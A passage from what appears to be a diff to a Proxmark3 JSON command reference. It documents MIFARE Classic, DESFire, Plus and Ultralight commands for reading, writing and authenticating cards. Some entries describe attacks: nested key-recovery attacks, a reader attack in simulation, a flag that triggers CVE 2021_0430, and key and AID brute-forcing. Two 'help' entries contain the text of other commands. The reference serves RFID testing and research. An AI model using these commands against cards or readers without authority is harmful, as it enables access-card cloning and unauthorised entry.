"-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf mf list [-h1fcrux] [--dict ]..." + }, + "hf mf mad": { + "command": "hf mf mad", + "description": "checks and prints mifare application directory (mad)", + "notes": [ + "hf mf mad -> shows mad if exists", + "hf mf mad --aid e103 -k ffffffffffff -b -> shows ndef data if exists. read card with custom key and key b", + "hf mf mad --dch -k ffffffffffff -> decode cardholder information" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show technical data", + "--aid print all sectors with specified aid", + "-k, --key key for printing sectors", + "-b, --keyb use key b for access printing sectors (by default: key a)", + "--be (optional, bigendian)", + "--dch decode card holder information" + ], + "usage": "hf mf mad [-hvb] [--aid ] [-k ] [--be] [--dch]" + }, + "hf mf nack": { + "command": "hf mf nack", + "description": "test a mifare classic based card for the nack bug", + "notes": [ + "hf mf nack" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose verbose output`" + ], + "usage": "hf mf nack [-hv]" + }, + "hf mf ndefread": { + "command": "hf mf ndefread", + "description": "prints nfc data exchange format (ndef)", + "notes": [ + "hf mf ndefread -> shows ndef parsed data", + "hf mf ndefread -vv -> shows ndef parsed and raw data", + "hf mf ndefread --aid e103 -k ffffffffffff -b -> shows ndef data with custom aid, key and with key b" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show technical data", + "--aid replace default aid for ndef", + "-k, --key replace default key for ndef", + "-b, --keyb use key b for access sectors (by default: key a)" + ], + "usage": "hf mf ndefread [-hvb] [--aid ] [-k ]" + }, + "hf mf nested": { + "command": "hf mf nested", + "description": "execute nested attack against mifare classic card for key recovery", + "notes": [ + "hf mf nested --single --blk 0 -a ffffffffffff --tblk 4 --ta -> single sector key recovery. use block 0 key a to find block 4 key a", + "hf mf nested --mini --blk 0 -a -k ffffffffffff -> key recovery against mifare mini", + "hf mf nested --1k --blk 0 -a -k ffffffffffff -> key recovery against mifare classic 1k", + "hf mf nested --2k --blk 0 -a -k ffffffffffff -> key recovery against mifare 2k", + "hf mf nested --4k --blk 0 -a -k ffffffffffff -> key recovery against mifare 4k" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key specified as 12 hex symbols", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--blk input block number", + "-a input key specified is a key (default)", + "-b input key specified is b key", + "--tblk target block number", + "--ta target a key (default)", + "--tb target b key", + "--emu fill simulator keys from found keys", + "--dump dump found keys to file", + "--single single sector (defaults to all)" + ], + "usage": "hf mf nested [-hab] [-k ] [--mini] [--1k] [--2k] [--4k] [--blk ] [--tblk ] [--ta] [--tb] [--emu] [--dump] [--single]" + }, + "hf mf personalize": { + "command": "hf mf personalize", + "description": "personalize the uid of a mifare classic ev1 card. this is only possible if it is a 7byte uid card and if it is not already personalized.", + "notes": [ + "hf mf personalize --f0 -> double size uid", + "hf mf personalize --f1 -> double size uid, optional usage of selection process shortcut", + "hf mf personalize --f2 -> single size random id", + "hf mf personalize --f3 -> single size nuid", + "hf mf personalize -b -k b0b1b2b3b4b5 --f3 -> use key b = 0xb0b1b2b3b4b5" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a use key a to authenticate sector 0 (def)", + "-b use key b to authenticate sector 0", + "-k, --key key (def ffffffffffff)", + "--f0 uidfo, double size uid", + "--f1 uidf1, double size uid, optional usage of selection process shortcut", + "--f2 uidf2, single size random id", + "--f3 uidf3, single size nuid" + ], + "usage": "hf mf personalize [-hab] [-k ] [--f0] [--f1] [--f2] [--f3]" + }, + "hf mf rdbl": { + "command": "hf mf rdbl", + "description": "read mifare classic block", + "notes": [ + "hf mf rdbl --blk 0 -k ffffffffffff", + "hf mf rdbl -b 3 -v -> get block 3, decode sector trailer" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--blk block number", + "-a input key type is key a (def)", + "-b input key type is key b", + "-k, --key key, 6 hex bytes", + "-v, --verbose verbose output" + ], + "usage": "hf mf rdbl [-habv] --blk [-k ]" + }, + "hf mf rdsc": { + "command": "hf mf rdsc", + "description": "read mifare classic sector", + "notes": [ + "hf mf rdsc -s 0 -k ffffffffffff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a input key specified is a key (def)", + "-b input key specified is b key", + "-k, --key key specified as 6 hex bytes", + "-s, --sec sector number", + "-v, --verbose verbose output" + ], + "usage": "hf mf rdsc [-habv] [-k ] -s " + }, + "hf mf restore": { + "command": "hf mf restore", + "description": "restore mifare classic binary file to tag. the key file and data file will program the card sector trailers. by default we authenticate to card with key b 0xffffffffffff. `--uid` param is used for filename templates `hf-mf--dump.bin` and `hf-mf--key.bin. if not specified, it will read the card uid instead. `-w` param you can indicate that the key file should be used for authentication instead. if so we also try both b/a keys", + "notes": [ + "hf mf restore", + "hf mf restore --1k --uid 04010203", + "hf mf restore --1k --uid 04010203 -k hf-mf-aabbccdd-key.bin", + "hf mf restore --4k" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "-u, --uid uid, 6 hex bytes", + "-f, --file data filename", + "-k, --kfn key filename", + "--ka use specified keyfile to authenticate" + ], + "usage": "hf mf restore [-h] [--mini] [--1k] [--2k] [--4k] [-u ] [-f ] [-k ] [--ka]" + }, + "hf mf setmod": { + "command": "hf mf setmod", + "description": "sets the load modulation strength of a mifare classic ev1 card", + "notes": [ + "hf mf setmod -k ffffffffffff -0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-0 normal modulation", + "-1 strong modulation (def)", + "-k, --key key a, sector 0, 6 hex bytes" + ], + "usage": "hf mf setmod [-h01] [-k ]" + }, + "hf mf sim": { + "command": "hf mf sim", + "description": "simulate mifare classic card", + "notes": [ + "hf mf sim --mini -> mifare mini", + "hf mf sim --1k -> mifare classic 1k (default)", + "hf mf sim --1k -u 0a0a0a0a -> mifare classic 1k with 4b uid", + "hf mf sim --1k -u 11223344556677 -> mifare classic 1k with 7b uid", + "hf mf sim --1k -u 11223344 -i --crack -> perform reader attack in interactive mode", + "hf mf sim --2k -> mifare 2k", + "hf mf sim --4k -> mifare 4k" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid uid 4,7 or 10bytes. if not specified, the uid 4b/7b from emulator memory will be used", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--atqa provide explicit atqa (2 bytes, overrides option t)", + "--sak provide explicit sak (1 bytes, overrides option t)", + "-n, --num automatically exit simulation after blocks have been read by reader. 0 = infinite", + "-i, --interactive console will not be returned until simulation finishes or is aborted", + "-x performs the 'reader attack', nr/ar attack against a reader", + "-e, --emukeys fill simulator keys from found keys", + "-v, --verbose verbose output", + "--cve trigger cve 2021_0430" + ], + "usage": "hf mf sim [-hixev] [-u ] [--mini] [--1k] [--2k] [--4k] [--atqa ] [--sak ] [-n ] [--cve]" + }, + "hf mf staticnested": { + "command": "hf mf staticnested", + "description": "execute nested attack against mifare classic card with static nonce for key recovery", + "notes": [ + "hf mf staticnested --mini --blk 0 -a -k ffffffffffff -> key recovery against mifare mini", + "hf mf staticnested --1k --blk 0 -a -k ffffffffffff -> key recovery against mifare classic 1k", + "hf mf staticnested --2k --blk 0 -a -k ffffffffffff -> key recovery against mifare 2k", + "hf mf staticnested --4k --blk 0 -a -k ffffffffffff -> key recovery against mifare 4k" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key specified as 12 hex symbols", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--blk input block number", + "-a input key specified is a key (default)", + "-b input key specified is b key", + "-e, --emukeys fill simulator keys from found keys", + "--dumpkeys dump found keys to file" + ], + "usage": "hf mf staticnested [-habe] [-k ] [--mini] [--1k] [--2k] [--4k] [--blk ] [--dumpkeys]" + }, + "hf mf supercard": { + "command": "hf mf supercard", + "description": "extract info from a `super card`", + "notes": [ + "hf mf supercard" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --reset reset card" + ], + "usage": "hf mf supercard [-hr]" + }, + "hf mf view": { + "command": "hf mf view", + "description": "print a mifare classic dump file (bin/eml/json)", + "notes": [ + "hf mf view -f hf-mf-01020304-dump.bin" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file filename of dump", + "-v, --verbose verbose output" + ], + "usage": "hf mf view [-hv] -f " + }, + "hf mf wipe": { + "command": "hf mf wipe", + "description": "wipe card to zeros and default keys/acc. this command takes a key file to wipe card will use uid from card to generate keyfile name if not specified. new a/b keys..... ff ff ff ff ff ff new acc rights... ff 07 80 new gpb.......... 69", + "notes": [ + "hf mf wipe -> reads card uid to generate file name", + "hf mf wipe --gen2 -> force write to s0, b0 manufacture block", + "hf mf wipe -f mykey.bin -> use mykey.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file key filename", + "--gen2 force write to sector 0, block 0 (gen2)" + ], + "usage": "hf mf wipe [-h] [-f ] [--gen2]" + }, + "hf mf wrbl": { + "command": "hf mf wrbl", + "description": "write mifare classic block", + "notes": [ + "hf mf wrbl --blk 1 -k ffffffffffff -d 000102030405060708090a0b0c0d0e0f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--blk block number", + "-a input key type is key a (def)", + "-b input key type is key b", + "-k, --key key, 6 hex bytes", + "-d, --data bytes to write, 16 hex bytes" + ], + "usage": "hf mf wrbl [-hab] --blk [-k ] [-d ]" + }, + "hf mfdes bruteaid": { + "command": "hf mfdes bruteaid", + "description": "recover aids by bruteforce. warning: this command takes a long time", + "notes": [ + "hf mfdes bruteaid -> search all apps", + "hf mfdes bruteaid -s f0000f -i 16 -> search mad range manually" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --start starting app id as hex bytes (3 bytes, big endian)", + "-e, --end last app id as hex bytes (3 bytes, big endian)", + "-i, --step increment step when bruteforcing", + "-m, --mad only bruteforce the mad range" + ], + "usage": "hf mfdes bruteaid [-hm] [-s ]... [-e ]... [-i ]" + }, + "hf mfdes changekey": { + "command": "hf mfdes changekey", + "description": "change mifare desfire key. make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes changekey -n 0 -t 1 -k 0000000000000000 -u 1 -j 0102030405060708 -> des, keynumber 0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --keyno key number used for authentification", + "-t, --algo current key algo (1 = des, 2 = 3des(2k2des), 3 = 3k3des, 4 = aes)", + "-k, --key current key (hex 8-24 bytes)", + "-u, --newalgo new key algo (1 = des, 2 = 3des(2k2des), 3 = 3k3des, 4 = aes)", + "-j, --newkey new key (hex 8-24 bytes)", + "-v, --aesver aes version (if aes is used)" + ], + "usage": "hf mfdes changekey [-h] [-n ] [-t ] [-k ] [-u ] [-j ] [-v ]" + }, + "hf mfdes changevalue": { + "command": "hf mfdes changevalue", + "description": "change value (credit / limitedcredit / debit) make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes changevalue -n 03 -m 0 -d 00000001" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-d, --value value to increase (4 hex bytes, big endian)", + "-m, --mode mode (0 = credit, 1 = limited credit, 2 = debit)", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes changevalue [-h] [-n ] [-d ]... [-m ] [-a ]..." + }, + "hf mfdes chk": { + "command": "hf mfdes chk", + "description": "checks keys with mifare desfire card.", + "notes": [ + "hf mfdes chk -a 123456 -k 000102030405060708090a0b0c0d0e0f -> check key on aid 0x123456", + "hf mfdes chk -d mfdes_default_keys -> check keys from dictionary against all existing aid on card", + "hf mfdes chk -d mfdes_default_keys -a 123456 -> check keys from dictionary against aid 0x123456", + "hf mfdes chk -a 123456 --pattern1b -j keys -> check all 1-byte keys pattern on aid 0x123456 and save found keys to json", + "hf mfdes chk -a 123456 --pattern2b --startp2b fa00 -> check all 2-byte keys pattern on aid 0x123456. start from key fa00fa00...fa00" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --aid use specific aid (3 hex bytes, big endian)", + "-k, --key key for checking (hex 16 bytes)", + "-d, --dict file with keys dictionary", + "--pattern1b check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)", + "--pattern2b check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)", + "--startp2b start key (2-byte hex) for 2-byte search (use with `--pattern2b`)", + "-j, --json json file to save keys", + "-v, --verbose verbose mode.", + "-f, --kdf key derivation function (kdf) (0=none, 1=an10922, 2=gallagher)", + "-i, --kdfi kdf input (hex 1-31 bytes)" + ], + "usage": "hf mfdes chk [-hv] [-a ]... [-k ] [-d ] [--pattern1b] [--pattern2b] [--startp2b ] [-j ] [-f ] [-i ]" + }, + "hf mfdes clearfile": { + "command": "hf mfdes clearfile", + "description": "clear record file make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes clearfile -n 01" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes clearfile [-h] [-n ] [-a ]..." + }, + "hf mfdes createaid": { + "command": "hf mfdes createaid", + "description": "create application id", + "notes": [ + "hf mfdes createaid -a 123456 -f 1111 -k 0e -l 2e --name test" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --aid app id to create as hex bytes (3 hex bytes)", + "-f, --fid file id to create", + "-k, --ks1 key setting 1 (application master key settings)", + "-l, --ks2 key setting 2", + "--name app iso-4 name" + ], + "usage": "hf mfdes createaid [-h] [-a ]... [-f ]... [-k ]... [-l ]... [--name ]" + }, + "hf mfdes createfile": { + "command": "hf mfdes createfile", + "description": "create standard/backup file", + "notes": [ + "hf mfdes createfile -f 0001 -n 01 -c 0 -r eeee -s 000100 -a 123456" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-f, --fileid iso fid (2 hex bytes, big endian)", + "-c, --com communication setting (0 = plain, 1 = plain + mac, 3 = enciphered)", + "-r, --rights access rights (2 hex bytes -> rw/chg/r/w, 0x0 - 0xd key, 0xe free, 0xf denied)", + "-s, --filesize file size (3 hex bytes, big endian)", + "-b, --backup create backupfile instead of standard file", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes createfile [-hb] [-n ] [-f ]... [-c ] [-r ]... [-s ]... [-a ]..." + }, + "hf mfdes createrecordfile": { + "command": "hf mfdes createrecordfile", + "description": "create linear / cyclic record file make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes createrecordfile -f 1122 -n 02 -c 0 -r eeee -s 000010 -m 000005 -a 123456" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-f, --fileid iso fid (2 hex bytes, big endian)", + "-c, --com communication setting (0 = plain, 1 = plain + mac, 3 = enciphered)", + "-r, --rights access rights (2 hex bytes -> rw/chg/r/w, 0x0 - 0xd key, 0xe free, 0xf denied)", + "-s, --size record size (3 hex bytes, big endian, 000001 to ffffff)", + "-m, --maxrecord max. number of records (3 hex bytes, big endian)", + "-b, --cyclic create cyclic record file instead of linear record file", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes createrecordfile [-hb] [-n ] [-f ]... [-c ] [-r ]... [-s ]... [-m ]... [-a ]..." + }, + "hf mfdes createvaluefile": { + "command": "hf mfdes createvaluefile", + "description": "create value file make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes createvaluefile -n 03 -c 0 -r eeee -l 00000000 -u 00002000 --val 00000001 -m 02 -a 123456" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-c, --com communication setting (0 = plain, 1 = plain + mac, 3 = enciphered)", + "-r, --rights access rights (2 hex bytes -> rw/chg/r/w, 0x0 - 0xd key, 0xe free, 0xf denied)", + "-l, --lower lower limit (4 hex bytes, big endian)", + "-u, --upper upper limit (4 hex bytes, big endian)", + "--val value (4 hex bytes, big endian)", + "-m limited credit enabled (bit 0 = limited credit, 1 = freevalue)", + "-a, --aid app id to select as hex bytes (3 bytes,big endian,optional)" + ], + "usage": "hf mfdes createvaluefile [-h] [-n ] [-c ] [-r ]... [-l ]... [-u ]... [--val ]... [-m ] [-a ]..." + }, + "hf mfdes deleteaid": { + "command": "hf mfdes deleteaid", + "description": "delete application id", + "notes": [ + "hf mfdes deleteaid -a 123456" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --aid app id to delete (3 hex bytes, big endian)" + ], + "usage": "hf mfdes deleteaid [-h] [-a ]..." + }, + "hf mfdes deletefile": { + "command": "hf mfdes deletefile", + "description": "delete file", + "notes": [ + "hf mfdes deletefile -n 01 -> make sure to select aid or authenticate aid before running this command." + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes deletefile [-h] [-n ] [-a ]..." + }, + "hf mfdes dump": { + "command": "hf mfdes dump", + "description": "tries to dump all files on a desfire tag", + "notes": [ + "hf mfdes dump" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mfdes dump [-h]" + }, + "hf mfdes enum": { + "command": "hf mfdes enum", + "description": "enumerate all aid's on mifare desfire tag", + "notes": [ + "hf mfdes enum" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mfdes enum [-h]" + }, + "hf mfdes formatpicc": { + "command": "hf mfdes formatpicc", + "description": "formats mifare desfire picc to factory state make sure to authenticate picc before running this command.", + "notes": [ + "hf mfdes formatpicc" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mfdes formatpicc [-h]" + }, + "hf mfdes getuid": { + "command": "hf mfdes getuid", + "description": "get uid from a mifare desfire tag", + "notes": [ + "hf mfdes getuid" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mfdes getuid [-h]" + }, + "hf mfdes getvalue": { + "command": "hf mfdes getvalue", + "description": "get value from value file make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes getvalue -n 03" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes getvalue [-h] [-n ] [-a ]..." + }, + "hf mfdes help": { + "command": "hf mfdes help", + "description": "help this help list list desfire (iso 14443a) history --------------------------------------------------------------------------------------- hf mfdes auth available offline: no authenticates mifare desfire using key", + "notes": [ + "hf mfdes auth -m 3 -t 4 -a 808301 -n 0 -k 00000000000000000000000000000000 -> aes,keynumber 0, aid 0x803201", + "hf mfdes auth -m 2 -t 2 -a 000000 -n 1 -k 00000000000000000000000000000000 -> 3des,keynumber 1, aid 0x000000", + "hf mfdes auth -m 1 -t 1 -a 000000 -n 2 -k 0000000000000000 -> des,keynumber 2, aid 0x000000", + "hf mfdes auth -m 1 -t 1 -a 000000 -n 0 -> des, defaultkey, aid 0x000000", + "hf mfdes auth -m 2 -t 2 -a 000000 -n 0 -> 3des, defaultkey, aid 0x000000", + "hf mfdes auth -m 3 -t 4 -a 000000 -n 0 -> 3k3des, defaultkey, aid 0x000000", + "hf mfdes auth -m 3 -t 4 -a 000000 -n 0 -> aes, defaultkey, aid 0x000000" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-m, --type auth type (1=normal, 2=iso, 3=aes)", + "-t, --algo crypt algo (1=des, 2=3des(2k2des), 3=3k3des, 4=aes)", + "-a, --aid aid used for authentification (hex 3 bytes)", + "-n, --keyno key number used for authentification", + "-k, --key key for checking (hex 8-24 bytes)", + "-d, --kdf key derivation function (kdf) (0=none, 1=an10922, 2=gallagher)", + "-i, --kdfi kdf input (hex 1-31 bytes)" + ], + "usage": "hf mfdes auth [-h] [-m ] [-t ] [-a ]... [-n ] [-k ] [-d ] [-i ]" + }, + "hf mfdes info": { + "command": "hf mfdes info", + "description": "get info from mifare desfire tags", + "notes": [ + "hf mfdes info" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mfdes info [-h]" + }, + "hf mfdes list": { + "command": "hf mfdes list", + "description": "alias of `trace list -t des` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf mfdes list -f -> show frame delay times", + "hf mfdes list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf mfdes list [-h1fcrux] [--dict ]..." + }, + "hf mfdes readdata": { + "command": "hf mfdes readdata", + "description": "read data from file make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes readdata -n 01 -t 0 -o 000000 -l 000000 -a 123456", + "hf mfdes readdata -n 01 -t 0 -> read all data from standard file, fileno 01" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-o, --offset file offset (3 hex bytes, big endian)", + "-l, --length length to read (3 hex bytes, big endian -> 000000 = read all data)", + "-t, --type file type (0 = standard / backup, 1 = record)", + "-a, --aid app id to select (3 hex bytes, big endian)" + ], + "usage": "hf mfdes readdata [-h] [-n ] [-o ]... [-l ]... [-t ] [-a ]..." + }, + "hf mfdes selectaid": { + "command": "hf mfdes selectaid", + "description": "select application id", + "notes": [ + "hf mfdes selectaid -a 123456" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes selectaid [-h] [-a ]..." + }, + "hf mfdes writedata": { + "command": "hf mfdes writedata", + "description": "write data to file make sure to select aid or authenticate aid before running this command.", + "notes": [ + "hf mfdes writedata -n 01 -t 0 -o 000000 -d 3132333435363738" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --fileno file number (0 - 31)", + "-o, --offset file offset (3 hex bytes, big endian), optional", + "-d, --data data to write (hex bytes, 256 bytes max)", + "-t, --type file type (0 = standard / backup, 1 = record)", + "-a, --aid app id to select as hex bytes (3 bytes, big endian)" + ], + "usage": "hf mfdes writedata [-h] [-n ] [-o ]... [-d ]... [-t ] [-a ]..." + }, + "hf mfp auth": { + "command": "hf mfp auth", + "description": "executes aes authentication command for mifare plus card", + "notes": [ + "hf mfp auth --ki 4000 --key 000102030405060708090a0b0c0d0e0f -> executes authentication", + "hf mfp auth --ki 9003 --key ffffffffffffffffffffffffffffffff -v -> executes authentication and shows all the system data" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show internal data.", + "--ki key number, 2 hex bytes", + "--key key, 16 hex bytes" + ], + "usage": "hf mfp auth [-hv] --ki --key " + }, + "hf mfp chk": { + "command": "hf mfp chk", + "description": "checks keys with mifare plus card.", + "notes": [ + "hf mfp chk -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key a and b", + "hf mfp chk -s 2 -a -> check default key list on sector 2, key a", + "hf mfp chk -d mfp_default_keys -s0 -e6 -> check keys from dictionary against sectors 0-6", + "hf mfp chk --pattern1b -j keys -> check all 1-byte keys pattern and save found keys to json", + "hf mfp chk --pattern2b --startp2b fa00 -> check all 2-byte keys pattern. start from key fa00fa00...fa00" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --keya check only key a (by default check all keys).", + "-b, --keyb check only key b (by default check all keys).", + "-k, --key key for checking (hex 16 bytes)", + "-d, --dict file with keys dictionary", + "--pattern1b check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)", + "--pattern2b check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)", + "--startp2b start key (2-byte hex) for 2-byte search (use with `--pattern2b`)", + "-j, --json json file to save keys", + "-v, --verbose verbose mode." + ], + "usage": "hf mfp chk [-habv] [-s start sector num (0..255)] [-e end sector num (0..255)] [-k ] [-d ] [--pattern1b] [--pattern2b] [--startp2b ] [-j ]" + }, + "hf mfp commitp": { + "command": "hf mfp commitp", + "description": "executes commit perso command. can be used in sl0 mode only.", + "notes": [ + "hf mfp commitp" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show internal data." + ], + "usage": "hf mfp commitp [-hv]" + }, + "hf mfp help": { + "command": "hf mfp help", + "description": "help this help --------------------------------------------------------------------------------------- hf mfp info available offline: no get info from mifare plus tags", + "notes": [ + "hf mfp info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf mfp info [-h]" + }, + "hf mfp initp": { + "command": "hf mfp initp", + "description": "executes write perso command for all card's keys. can be used in sl0 mode only.", + "notes": [ + "hf mfp initp --key 000102030405060708090a0b0c0d0e0f -> fill all the keys with key (00..0f)", + "hf mfp initp -vv -> fill all the keys with default key(0xff..0xff) and show all the data exchange" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show internal data.", + "-k, --key key, 16 hex bytes" + ], + "usage": "hf mfp initp [-hv] [-k ]..." + }, + "hf mfp mad": { + "command": "hf mfp mad", + "description": "checks and prints mifare application directory (mad)", + "notes": [ + "hf mfp mad -> shows mad if exists", + "hf mfp mad -a e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> shows ndef data if exists" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show technical data", + "--aid print all sectors with aid", + "-k, --key key for printing sectors", + "-b, --keyb use key b for access printing sectors (by default: key a)", + "--be (optional, bigendian)", + "--dch decode card holder information" + ], + "usage": "hf mfp mad [-hvb] [--aid ] [-k ] [--be] [--dch]" + }, + "hf mfp ndefread": { + "command": "hf mfp ndefread", + "description": "prints nfc data exchange format (ndef)", + "notes": [ + "hf mfp ndefread -> shows ndef data", + "hf mfp ndefread -vv -> shows ndef parsed and raw data", + "hf mfp ndefread -a e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> shows ndef data with custom aid and key" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show technical data", + "--aid replace default aid for ndef", + "-k, --key replace default key for ndef", + "-b, --keyb use key b for access sectors (by default: key a)" + ], + "usage": "hf mfp ndefread [-hvb] [--aid ] [-k ]" + }, + "hf mfp rdbl": { + "command": "hf mfp rdbl", + "description": "reads several blocks from mifare plus card", + "notes": [ + "hf mfp rdbl --blk 0 --key 000102030405060708090a0b0c0d0e0f -> executes authentication and read block 0 data", + "hf mfp rdbl --blk 1 -v -> executes authentication and shows sector 1 data with default key 0xff..0xff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show internal data", + "-n, --count blocks count (by default 1)", + "-b, --keyb use key b (by default keya)", + "-p, --plain plain communication mode between reader and card", + "--blk block number (0..255)", + "--key key, 16 hex bytes" + ], + "usage": "hf mfp rdbl [-hvbp] [-n ] --blk [--key ]" + }, + "hf mfp rdsc": { + "command": "hf mfp rdsc", + "description": "reads one sector from mifare plus card", + "notes": [ + "hf mfp rdsc --sn 0 --key 000102030405060708090a0b0c0d0e0f -> executes authentication and read sector 0 data", + "hf mfp rdsc --sn 1 -v -> executes authentication and shows sector 1 data with default key" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show internal data.", + "-b, --keyb use key b (by default keya).", + "-p, --plain plain communication mode between reader and card.", + "--sn sector number (0..255)", + "-k, --key key, 16 hex bytes" + ], + "usage": "hf mfp rdsc [-hvbp] --sn [-k ]" + }, + "hf mfp wrbl": { + "command": "hf mfp wrbl", + "description": "writes one block to mifare plus card", + "notes": [ + "hf mfp wrbl --blk 1 -d ff0000000000000000000000000000ff --key 000102030405060708090a0b0c0d0e0f -> writes block 1 data", + "hf mfp wrbl --blk 2 -d ff0000000000000000000000000000ff -v -> writes block 2 data with default key 0xff..0xff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show internal data.", + "-b, --keyb use key b (by default keya).", + "--blk block number (0..255)", + "-d, --data data, 16 hex bytes", + "-k, --key key, 16 hex bytes" + ], + "usage": "hf mfp wrbl [-hvb] --blk -d [-k ]" + }, + "hf mfp wrp": { + "command": "hf mfp wrp", + "description": "executes write perso command. can be used in sl0 mode only.", + "notes": [ + "hf mfp wrp --ki 4000 --key 000102030405060708090a0b0c0d0e0f -> write key (00..0f) to key number 4000", + "hf mfp wrp --ki 4000 -> write default key(0xff..0xff) to key number 4000" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show internal data.", + "-i, --ki key number, 2 hex bytes", + "--key key, 16 hex bytes" + ], + "usage": "hf mfp wrp [-hv] -i [--key ]..." + }, + "hf mfu cauth": { + "command": "hf mfu cauth", + "description": "tests 3des password on mifare ultralight-c tag. if password is not specified, a set of known defaults will be tested.", + "notes": [ + "hf mfu cauth", + "hf mfu cauth --key 000102030405060708090a0b0c0d0e0f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key for authentication (ul-c 16 bytes)", + "-l swap entered key's endianness", + "-k keep field on (only if a password is provided too)" + ], + "usage": "hf mfu cauth [-hlk] [-k ]" + }, + "hf mfu dump": { + "command": "hf mfu dump", + "description": "reads all pages 